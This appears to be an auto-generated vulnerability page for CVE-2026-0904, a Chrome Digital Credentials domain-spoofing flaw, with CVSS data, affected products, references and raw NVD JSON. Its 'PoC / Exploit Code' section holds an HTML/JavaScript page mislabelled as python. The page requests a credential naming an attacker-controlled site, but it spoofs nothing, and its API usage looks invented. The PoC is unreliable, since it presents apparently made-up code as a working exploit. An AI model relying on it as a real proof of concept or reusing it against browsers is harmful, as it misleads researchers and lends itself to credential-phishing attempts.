CVE-2026-0904

Description

Incorrect security UI in Digital Credentials in Google Chrome prior to 144.0.7559.59 allowed a remote attacker to perform domain spoofing via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 144.0.7559.59

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2026-0904 PoC: Domain Spoofing via Digital Credentials UI -->
<!DOCTYPE html>
<html>
<head>
    <title>Digital Credentials Spoofing PoC</title>
</head>
<body>
    <h1>CVE-2026-0904 Domain Spoofing PoC</h1>
    <button id='requestBtn'>Request Digital Credential</button>
    <pre id='output'></pre>

    <script>
        // PoC demonstrates the UI spoofing vulnerability
        // Attacker can forge the domain display in credential request
        document.getElementById('requestBtn').onclick = async function() {
            try {
                // Attempt to request digital credential
                // In vulnerable versions, attacker could spoof the UI
                const credential = await navigator.credentials.get({
                    digital: {
                        // Malicious configuration that exploits UI flaw
                        trustedOrigins: ['https://attacker-controlled-site.com'],
                        protocol: 'openid-connect'
                    }
                });
                document.getElementById('output').textContent = 
                    'Credential obtained: ' + JSON.stringify(credential);
            } catch (e) {
                document.getElementById('output').textContent = 
                    'Error: ' + e.message;
            }
        };
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-0904
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-0904
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-0904/
[4] VulDB https://vuldb.com/cve/CVE-2026-0904
[5] https://chromereleases.googleblog.com/2026/01/stable-channel-update-for-desktop_13.html
[6] https://issues.chromium.org/issues/452209495

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-0904", "sourceIdentifier": "[email protected]", "published": "2026-01-20T05:16:15.893", "lastModified": "2026-01-29T20:22:51.227", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect security UI in Digital Credentials in Google Chrome prior to 144.0.7559.59 allowed a remote attacker to perform domain spoofing via a crafted HTML page. (Chromium security severity: Medium)"}, {"lang": "es", "value": "Interfaz de usuario de seguridad incorrecta en Credenciales Digitales en Google Chrome anterior a 144.0.7559.59 permitió a un atacante remoto realizar suplantación de dominio mediante una página HTML manipulada. (Gravedad de seguridad de Chromium: Media)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-451"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "144.0.7559.59", "matchCriteriaId": "7322229C-61DF-4A91-9816-F7796F9AABCD"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "144.0.7559.60", "matchCriteriaId": "258B923C-054B-4411-9E82-36C89A6BE4C4"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/01/stable-channel-update-for-desktop_13.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/452209495", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}